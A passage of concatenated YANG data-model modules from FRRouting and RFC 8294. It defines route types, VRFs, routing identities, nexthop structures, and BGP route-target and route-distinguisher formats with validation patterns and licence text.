      enum openfabric {
        value 26;
      }
    }
  }

  typedef frr-route-types-v6 {
    type enumeration {
      enum kernel {
        value 1;
      }
      enum connected {
        value 2;
      }
      enum static {
        value 3;
      }
      enum ripng {
        value 5;
      }
      enum ospf6 {
        value 7;
      }
      enum isis {
        value 8;
      }
      enum bgp {
        value 9;
      }
      enum nhrp {
        value 12;
      }
      enum table {
        value 15;
      }
      enum vnc {
        value 17;
      }
      enum vnc-direct {
        value 18;
      }
      enum babel {
        value 22;
      }
      enum sharp {
        value 23;
      }
      enum openfabric {
        value 26;
      }
    }
  }

  typedef frr-route-types {
    description "Route types as enumerated in `lib/route_types.txt`";
    type union {
      type frr-route-types-v4;
      type frr-route-types-v6;
    }
  }

  typedef ipv4-multicast-group-prefix {
    type inet:ipv4-prefix {
      pattern '(2((2[4-9])|(3[0-9]))\.)(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.){2}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(/(([4-9])|([1-2][0-9])|(3[0-2])))';
    }
    description
      "This type represents an IPv4 multicast group prefix,
       which is in the range from 224.0.0.0 to 239.255.255.255.";
  }

  typedef ipv6-multicast-group-prefix {
    type inet:ipv6-prefix {
      pattern
	'(([fF]{2}[0-9a-fA-F]{2}):).*';
    }
    description
      "This type represents an IPv6 multicast group prefix,
       which is in the range of FF00::/8.";
  }

  typedef ip-multicast-group-prefix {
    description "The IP-Multicast-Group-Address-Prefix type represents an IP multicast address
    prefix and is IP version neutral. The format of the textual representations implies the IP
    version. It includes a prefix-length, separated by a '/' sign.";
    type union {
      type ipv4-multicast-group-prefix;
      type ipv6-multicast-group-prefix;
    }
  }
}
2019-12-06module frr-vrf {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/vrf";
  prefix frr-vrf;

  organization
    "Free Range Routing";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines a model for managing FRR VRF.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2019-12-06 {
    description
      "Initial revision.";
  }

  typedef vrf-ref {
    type leafref {
      path "/frr-vrf:lib/frr-vrf:vrf/frr-vrf:name";
      require-instance false;
    }
    description
      "Reference to a VRF";
  }

  container lib {
    list vrf {
      key "name";
      description
        "VRF.";
      leaf name {
        type string {
          length "1..36";
        }
        description
          "VRF name.";
      }

      container state {
        config false;
        leaf id {
          type uint32 {
            range "0..4294967295";
          }
          description
            "VRF Id.";
        }

        leaf active {
          type boolean;
          default "false";
          description
            "VRF active in kernel.";
        }
      }
    }
  }
}
2019-08-15module frr-routing {
  yang-version "1.1";
  namespace "http://frrouting.org/yang/routing";
  prefix "frr-routing";

  import ietf-yang-types {
    prefix "yang";
  }

  import frr-vrf {
    prefix frr-vrf;
  }

  organization
    "FRRouting";

  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";

  description
    "This YANG module defines essential components for the management
     of a routing subsystem.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2019-08-15 {
    description
      "Initial revision.";
  }

  /* Identities */

  identity address-family {
    description
      "Base identity from which identities describing address
       families are derived.";
  }

  identity ipv4 {
    base address-family;
    description
      "This identity represents an IPv4 address family.";
  }

  identity ipv6 {
    base address-family;
    description
      "This identity represents an IPv6 address family.";
  }

  identity afi-safi-type {
    description
      "Base identity type (AFI,SAFI) tuples for RIB";
  }

  identity ipv4-unicast {
    base afi-safi-type;
    description
      "This identity represents the IPv4 unicast address family.";
  }

  identity ipv6-unicast {
    base afi-safi-type;
    description
      "This identity represents the IPv6 unicast address family.";
  }

  identity ipv4-multicast {
    base afi-safi-type;
    description
      "This identity represents the IPv4 multicast address family.";
  }

  identity ipv6-multicast {
    base afi-safi-type;
    description
      "This identity represents the IPv6 multicast address family.";
  }

  identity ipv4-labeled-unicast {
    base afi-safi-type;
    description
      "This identity represents the IPv4 labeled unicast address family.";
  }


  identity ipv6-labeled-unicast {
    base afi-safi-type;
    description
      "This identity represents the IPv6 labeled unicast address family.";
  }


  identity l3vpn-ipv4-unicast {
    base afi-safi-type;
    description
      "This identity represents the L3vpn IPv4 unicast address family.";
  }


  identity l3vpn-ipv6-unicast {
    base afi-safi-type;
    description
      "This identity represents the L3vpn IPv6 unicast address family.";
  }


  identity l3vpn-ipv4-multicast {
    base afi-safi-type;
    description
      "This identity represents the L3vpn IPv4 multicast address family.";
  }


  identity l3vpn-ipv6-multicast {
    base afi-safi-type;
    description
      "This identity represents the L3vpn IPv6 multicast address family.";
  }


  identity l2vpn-vpls {
    base afi-safi-type;
    description
      "This identity represents the L2vpn VPLS  address family.";
  }


  identity l2vpn-evpn {
    base afi-safi-type;
    description
      "This identity represents the L2vpn EVPN address family.";
  }


  identity ipv4-flowspec {
    base afi-safi-type;
    description
      "This identity represents the IPv4 flowspec address family.";
  }


  identity ipv6-flowspec {
    base afi-safi-type;
    description
      "This identity represents the IPv6 flowspec address family.";
  }


  identity control-plane-protocol {
    description
      "Base identity from which control-plane protocol identities are
       derived.";
  }

  identity routing-protocol {
    base control-plane-protocol;
    description
      "Identity from which Layer 3 routing protocol identities are
       derived.";
  }

  /* Type Definitions */

  typedef administrative-distance {
    type uint8 {
      range "1..255";
    }
    description
      "Admin distance associated with the route.";
  }

  /* Groupings */

  grouping address-family {
    description
      "This grouping provides a leaf identifying an address
       family.";
    leaf address-family {
      type identityref {
        base address-family;
      }
      mandatory true;
      description
        "Address family.";
    }
  }

  grouping router-id {
    description
      "This grouping provides a router ID.";
    leaf router-id {
      type yang:dotted-quad;
      description
        "A 32-bit number in the form of a dotted quad that is used by
         some routing protocols identifying a router.";
      reference
        "RFC 2328: OSPF Version 2";
    }
  }

  /* Data nodes */

  container routing {
    description
      "Configuration parameters for the routing subsystem.";
    container control-plane-protocols {
      description
        "Support for control-plane protocol instances.";
      list control-plane-protocol {
        key "type name vrf";
        description
          "Each entry contains a control-plane protocol instance.";
        leaf type {
          type identityref {
            base control-plane-protocol;
          }
          description
            "Type of the control-plane protocol";
        }
        leaf name {
          type string;
          description
            "An arbitrary name of the control-plane protocol
             instance.";
        }
        leaf vrf {
          type frr-vrf:vrf-ref;
          description
            "vrf for control-plane protocol";
        }
      }
    }
  }
}
module frr-nexthop {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/nexthop";
  prefix frr-nexthop;

  import ietf-inet-types {
    prefix inet;
  }

  import ietf-routing-types {
    prefix rt-types;
  }

  import frr-interface {
    prefix frr-interface;
  }

  import frr-vrf {
    prefix frr-vrf;
  }

  organization
    "FRRouting";
  contact
    "FRR Users List: <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines a model for managing FRR nexthop information.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2019-08-15 {
    description
      "Initial revision.";
  }

  typedef optional-ip-address {
    type union {
      type inet:ip-address;
      type string {
        length "0";
      }
    }
  }

  /*
   * Nexthop types.
   */
  typedef nexthop-type {
    type enumeration {
      enum "ifindex" {
        value 1;
        description
          "Specific interface.";
      }
      enum "ip4" {
        value 2;
        description
          "IPv4 address.";
      }
      enum "ip4-ifindex" {
        value 3;
        description
          "IPv4 address and interface.";
      }
      enum "ip6" {
        value 4;
        description
          "IPv6 address.";
      }
      enum "ip6-ifindex" {
        value 5;
        description
          "IPv6 address and interface.";
      }
      enum "blackhole" {
        value 6;
        description
          "Unreachable or prohibited.";
      }
    }
    description
      "Nexthop types.";
  }

  /*
   * Blockhole nexthop type.
   */
  typedef blackhole-type {
    type enumeration {
      enum "unspec" {
        value 0;
        description
          "Generic unreachable.";
      }
      enum "null" {
        value 1;
        description
          "Null type.";
      }
      enum "reject" {
        value 2;
        description
          "ICMP unreachable.";
      }
      enum "prohibited" {
        value 3;
        description
          "ICMP admin-prohibited.";
      }
    }
    default "null";
    description
      "Nexthop blackhole types.";
  }

  typedef nexthop-group-ref {
    type leafref {
      path "/frr-nexthop:frr-nexthop-group/frr-nexthop:nexthop-groups/frr-nexthop:name";
      require-instance false;
    }
  }

  /*
   * Common nexthop attributes grouping.
   */
  grouping frr-nexthop-attributes {
    leaf nh-type {
      type nexthop-type;
      mandatory true;
      description
        "The nexthop type.";
    }

    leaf vrf {
      type frr-vrf:vrf-ref;
      description
        "The nexthop vrf name, if different from the route.";
    }

    leaf gateway {
      type frr-nexthop:optional-ip-address;
      description
        "The nexthop gateway address.";
    }

    leaf interface {
      type frr-interface:interface-ref;
      description
        "The nexthop egress interface.";
    }

    leaf bh-type {
      type blackhole-type;
      description
        "A blackhole sub-type, if the nexthop is a blackhole type.";
    }

    leaf onlink {
      type boolean;
      default "false";
      description
        "Nexthop is directly connected.";
    }

    leaf srte-color {
      when "../nh-type = 'ip4' or
            ../nh-type = 'ip6' or
            ../nh-type = 'ip4-ifindex' or
            ../nh-type = 'ip6-ifindex'";
      type uint32;
      description
        "The nexthop SR-TE color";
    }

    uses rt-types:mpls-label-stack {
      description
        "Nexthop's MPLS label stack.";
    }
  }

  /*
   * operational common attributes for nexthop
   */
  grouping frr-nexthop-operational {
    leaf duplicate {
      type empty;
      config false;
      description
        "Duplicate nexthop";
    }

    leaf recursive {
      type empty;
      config false;
      description
        "Nexthop resolved through another gateway.";
    }

    leaf active {
      type empty;
      config false;
      description
        "Nexthop is active.";
    }

    leaf fib {
      type empty;
      config false;
      description
        "Nexthop is installed in fib.";
    }

    leaf weight {
      type uint8;
      config false;
      description
        "Weight to be used by the nexthop for purposes of ECMP";
    }
  }

  grouping nexthop-grouping {
    list nexthop {
      key "nh-type vrf gateway interface";
      min-elements 1;
      description
        "A list of nexthop objects.";
      uses frr-nexthop-attributes;
    }
  }

  /*
   * Single nexthop grouping.
   */
  grouping frr-nexthop {
    container frr-nexthops {
      description
        "FRR nexthop object.";
      uses nexthop-grouping;
    }
  }


  /*
   * Container for FRR nexthop group.
   */
  grouping frr-nexthop-grouping {
    list nexthop-groups {
      key "name";
      description
        "List of nexthop groups, each contains group of nexthops";
      leaf name {
        type string;
        description
          "The nexthop-group name.";
      }

      uses frr-nexthop;
    }
  }

  /* Operational nexthop-group */
  grouping frr-nexthop-group-operational {
    container nexthop-group {
      description
        "A group of nexthops.";
      leaf id {
        type uint32;
        description
          "The nexthop-group id.";
      }

      uses nexthop-grouping;
    }
  }

  container frr-nexthop-group {
    description
      "A nexthop-group, represented as a list of nexthop objects.";
    uses frr-nexthop-grouping;
  }

  /*
   * Augment weight attributes to nexthop group.
   */
  augment "/frr-nexthop-group/nexthop-groups/frr-nexthops/nexthop" {
    leaf weight {
      type uint8;
      description
        "Weight to be used by the nexthop for purposes of ECMP";
    }
  }
}
ietf-routing-types2017-12-04module ietf-routing-types {
  namespace "urn:ietf:params:xml:ns:yang:ietf-routing-types";
  prefix rt-types;

  import ietf-yang-types {
    prefix yang;
  }
  import ietf-inet-types {
    prefix inet;
  }

  organization
    "IETF RTGWG - Routing Area Working Group";
  contact
    "WG Web:   <https://datatracker.ietf.org/wg/rtgwg/>
     WG List:  <mailto:rtgwg@ietf.org>
     Editors:  Xufeng Liu
               <mailto:Xufeng_Liu@jabail.com>
               Yingzhen Qu
               <mailto:yingzhen.qu@huawei.com>
               Acee Lindem
               <mailto:acee@cisco.com>
               Christian Hopps
               <mailto:chopps@chopps.org>
               Lou Berger
               <mailto:lberger@labn.com>";

  description
    "This module contains a collection of YANG data types
     considered generally useful for routing protocols.
     Copyright (c) 2017 IETF Trust and the persons
     identified as authors of the code.  All rights reserved.
     Redistribution and use in source and binary forms, with or
     without modification, is permitted pursuant to, and subject
     to the license terms contained in, the Simplified BSD License
     set forth in Section 4.c of the IETF Trust's Legal Provisions
     Relating to IETF Documents
     (https://trustee.ietf.org/license-info).
     This version of this YANG module is part of RFC 8294; see
     the RFC itself for full legal notices.";
   revision 2017-12-04 {
     description "Initial revision.";
     reference
       "RFC 8294: Common YANG Data Types for the Routing Area.
        Section 3.";
  }

  /*** Identities related to MPLS/GMPLS ***/

  identity mpls-label-special-purpose-value {
    description
      "Base identity for deriving identities describing
       special-purpose Multiprotocol Label Switching (MPLS) label
       values.";
    reference
      "RFC 7274: Allocating and Retiring Special-Purpose MPLS
       Labels.";
  }

  identity ipv4-explicit-null-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the IPv4 Explicit NULL Label.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.  Section 2.1.";
  }

  identity router-alert-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the Router Alert Label.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.  Section 2.1.";
  }

  identity ipv6-explicit-null-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the IPv6 Explicit NULL Label.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.  Section 2.1.";
  }

  identity implicit-null-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the Implicit NULL Label.";
    reference
      "RFC 3032: MPLS Label Stack Encoding.  Section 2.1.";
  }

  identity entropy-label-indicator {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the Entropy Label Indicator.";
    reference
      "RFC 6790: The Use of Entropy Labels in MPLS Forwarding.
       Sections 3 and 10.1.";
  }

  identity gal-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the Generic Associated Channel
       (G-ACh) Label (GAL).";
    reference
      "RFC 5586: MPLS Generic Associated Channel.
       Sections 4 and 10.";
  }

  identity oam-alert-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the OAM Alert Label.";
    reference
      "RFC 3429: Assignment of the 'OAM Alert Label' for
       Multiprotocol Label Switching Architecture (MPLS)
       Operation and Maintenance (OAM) Functions.
       Sections 3 and 6.";
  }

  identity extension-label {
    base mpls-label-special-purpose-value;
    description
      "This identity represents the Extension Label.";
    reference
      "RFC 7274: Allocating and Retiring Special-Purpose MPLS
       Labels.  Sections 3.1 and 5.";
  }

  /*** Collection of types related to routing ***/

  typedef router-id {
    type yang:dotted-quad;
    description
      "A 32-bit number in the dotted-quad format assigned to each
       router.  This number uniquely identifies the router within
       an Autonomous System.";
  }

  /*** Collection of types related to VPNs ***/

  typedef route-target {
    type string {
      pattern
        '(0:(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0):(429496729[0-5]|'
      +     '42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|429496[0-6][0-9]{3}|'
      +     '42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|429[0-3][0-9]{6}|'
      +     '42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0))|'
      + '(1:((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|'
      +     '25[0-5])\.){3}([0-9]|[1-9][0-9]|'
      +     '1[0-9]{2}|2[0-4][0-9]|25[0-5])):(6553[0-5]|'
      +     '655[0-2][0-9]|'
      +     '65[0-4][0-9]{2}|6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(2:(429496729[0-5]|42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|'
      +     '429496[0-6][0-9]{3}|42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|'
      +     '429[0-3][0-9]{6}|42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0):'
      +     '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(6(:[a-fA-F0-9]{2}){6})|'
      + '(([3-57-9a-fA-F]|[1-9a-fA-F][0-9a-fA-F]{1,3}):'
      +     '[0-9a-fA-F]{1,12})';
    }

    description
      "A Route Target is an 8-octet BGP extended community
       initially identifying a set of sites in a BGP VPN
       (RFC 4364).  However, it has since taken on a more general
       role in BGP route filtering.  A Route Target consists of two
       or three fields: a 2-octet Type field, an administrator
       field, and, optionally, an assigned number field.
       According to the data formats for types 0, 1, 2, and 6 as
       defined in RFC 4360, RFC 5668, and RFC 7432, the encoding
       pattern is defined as:
       0:2-octet-asn:4-octet-number
       1:4-octet-ipv4addr:2-octet-number
       2:4-octet-asn:2-octet-number
       6:6-octet-mac-address
       Additionally, a generic pattern is defined for future
       Route Target types:
       2-octet-other-hex-number:6-octet-hex-number
       Some valid examples are 0:100:100, 1:1.1.1.1:100,
       2:1234567890:203, and 6:26:00:08:92:78:00.";
    reference
      "RFC 4360: BGP Extended Communities Attribute.
       RFC 4364: BGP/MPLS IP Virtual Private Networks (VPNs).
       RFC 5668: 4-Octet AS Specific BGP Extended Community.
       RFC 7432: BGP MPLS-Based Ethernet VPN.";
  }

  typedef ipv6-route-target {
    type string {
      pattern
          '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}'
          + '((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|'
          + '(((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}'
          + '(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])))'
          + ':'
          + '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
          + '6[0-4][0-9]{3}|'
          + '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0)';
      pattern '((([^:]+:){6}(([^:]+:[^:]+)|(.*\..*)))|'
          + '((([^:]+:)*[^:]+)?::(([^:]+:)*[^:]+)?))'
          + ':'
          + '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
          + '6[0-4][0-9]{3}|'
          + '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0)';
    }
    description
      "An IPv6 Route Target is a 20-octet BGP IPv6 Address
       Specific Extended Community serving the same function
       as a standard 8-octet Route Target, except that it only
       allows an IPv6 address as the global administrator.
       The format is <ipv6-address:2-octet-number>.
       Two valid examples are 2001:db8::1:6544 and
       2001:db8::5eb1:791:6b37:17958.";
    reference
      "RFC 5701: IPv6 Address Specific BGP Extended Community
       Attribute.";
  }

  typedef route-target-type {
    type enumeration {
      enum import {
        value 0;
        description
          "The Route Target applies to route import.";
      }
      enum export {
        value 1;
        description
          "The Route Target applies to route export.";
      }

      enum both {
        value 2;
        description
          "The Route Target applies to both route import and
           route export.";
      }
    }
    description
      "Indicates the role a Route Target takes in route filtering.";
    reference
      "RFC 4364: BGP/MPLS IP Virtual Private Networks (VPNs).";
  }

  typedef route-distinguisher {
    type string {
      pattern
        '(0:(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0):(429496729[0-5]|'
      +     '42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|429496[0-6][0-9]{3}|'
      +     '42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|429[0-3][0-9]{6}|'
      +     '42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0))|'
      + '(1:((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|'
      +     '25[0-5])\.){3}([0-9]|[1-9][0-9]|'
      +     '1[0-9]{2}|2[0-4][0-9]|25[0-5])):(6553[0-5]|'
      +     '655[0-2][0-9]|'
      +     '65[0-4][0-9]{2}|6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(2:(429496729[0-5]|42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|'
      +     '429496[0-6][0-9]{3}|42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|'
      +     '429[0-3][0-9]{6}|42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0):'
      +     '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(6(:[a-fA-F0-9]{2}){6})|'
      + '(([3-57-9a-fA-F]|[1-9a-fA-F][0-9a-fA-F]{1,3}):'
      +     '[0-9a-fA-F]{1,12})';
    }

    description
      "A Route Distinguisher is an 8-octet value used to
       distinguish routes from different BGP VPNs (RFC 4364).
       A Route Distinguisher will have the same format as a
       Route Target as per RFC 4360 and will consist of
       two or three fields: a 2-octet Type field, an administrator
       field, and, optionally, an assigned number field.
       According to the data formats for types 0, 1, 2, and 6 as
       defined in RFC 4360, RFC 5668, and RFC 7432, the encoding
       pattern is defined as:
       0:2-octet-asn:4-octet-number
       1:4-octet-ipv4addr:2-octet-number
       2:4-octet-asn:2-octet-number
       6:6-octet-mac-address
       Additionally, a generic pattern is defined for future
       route discriminator types:
       2-octet-other-hex-number:6-octet-hex-number
       Some valid examples are 0:100:100, 1:1.1.1.1:100,
       2:1234567890:203, and 6:26:00:08:92:78:00.";
    reference
      "RFC 4360: BGP Extended Communities Attribute.
       RFC 4364: BGP/MPLS IP Virtual Private Networks (VPNs).
       RFC 5668: 4-Octet AS Specific BGP Extended Community.
       RFC 7432: BGP MPLS-Based Ethernet VPN.";
  }

  typedef route-origin {
    type string {
      pattern
        '(0:(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0):(429496729[0-5]|'
      +     '42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|429496[0-6][0-9]{3}|'
      +     '42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|429[0-3][0-9]{6}|'
      +     '42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0))|'
      + '(1:((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|'
      +     '25[0-5])\.){3}([0-9]|[1-9][0-9]|'
      +     '1[0-9]{2}|2[0-4][0-9]|25[0-5])):(6553[0-5]|'
      +     '655[0-2][0-9]|'
      +     '65[0-4][0-9]{2}|6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(2:(429496729[0-5]|42949672[0-8][0-9]|'
      +     '4294967[01][0-9]{2}|'
      +     '429496[0-6][0-9]{3}|42949[0-5][0-9]{4}|'
      +     '4294[0-8][0-9]{5}|'
      +     '429[0-3][0-9]{6}|42[0-8][0-9]{7}|4[01][0-9]{8}|'
      +     '[1-3][0-9]{9}|[1-9][0-9]{0,8}|0):'
      +     '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
      +     '6[0-4][0-9]{3}|'
      +     '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0))|'
      + '(6(:[a-fA-F0-9]{2}){6})|'
      + '(([3-57-9a-fA-F]|[1-9a-fA-F][0-9a-fA-F]{1,3}):'
      +    '[0-9a-fA-F]{1,12})';
    }
    description
      "A Route Origin is an 8-octet BGP extended community
       identifying the set of sites where the BGP route
       originated (RFC 4364).  A Route Origin will have the same
       format as a Route Target as per RFC 4360 and will consist
       of two or three fields: a 2-octet Type field, an
       administrator field, and, optionally, an assigned number
       field.
       According to the data formats for types 0, 1, 2, and 6 as
       defined in RFC 4360, RFC 5668, and RFC 7432, the encoding
       pattern is defined as:
       0:2-octet-asn:4-octet-number
       1:4-octet-ipv4addr:2-octet-number
       2:4-octet-asn:2-octet-number
       6:6-octet-mac-address
       Additionally, a generic pattern is defined for future
       Route Origin types:
       2-octet-other-hex-number:6-octet-hex-number
       Some valid examples are 0:100:100, 1:1.1.1.1:100,
       2:1234567890:203, and 6:26:00:08:92:78:00.";
    reference
      "RFC 4360: BGP Extended Communities Attribute.
       RFC 4364: BGP/MPLS IP Virtual Private Networks (VPNs).
       RFC 5668: 4-Octet AS Specific BGP Extended Community.
       RFC 7432: BGP MPLS-Based Ethernet VPN.";
  }

  typedef ipv6-route-origin {
    type string {
      pattern
          '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}'
          + '((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|'
          + '(((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}'
          + '(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])))'
          + ':'
          + '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
          + '6[0-4][0-9]{3}|'
          + '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0)';
      pattern '((([^:]+:){6}(([^:]+:[^:]+)|(.*\..*)))|'
          + '((([^:]+:)*[^:]+)?::(([^:]+:)*[^:]+)?))'
          + ':'
          + '(6553[0-5]|655[0-2][0-9]|65[0-4][0-9]{2}|'
          + '6[0-4][0-9]{3}|'
          + '[1-5][0-9]{4}|[1-9][0-9]{0,3}|0)';
    }
    description
      "An IPv6 Route Origin is a 20-octet BGP IPv6 Address
       Specific Extended Community serving the same function
       as a standard 8-octet route, except that it only allows
       an IPv6 address as the global administrator.  The format
       is <ipv6-address:2-octet-number>.
       Two valid examples are 2001:db8::1:6544 and
       2001:db8::5eb1:791:6b37:17958.";
    reference
      "RFC 5701: IPv6 Address Specific BGP Extended Community
       Attribute.";
  }

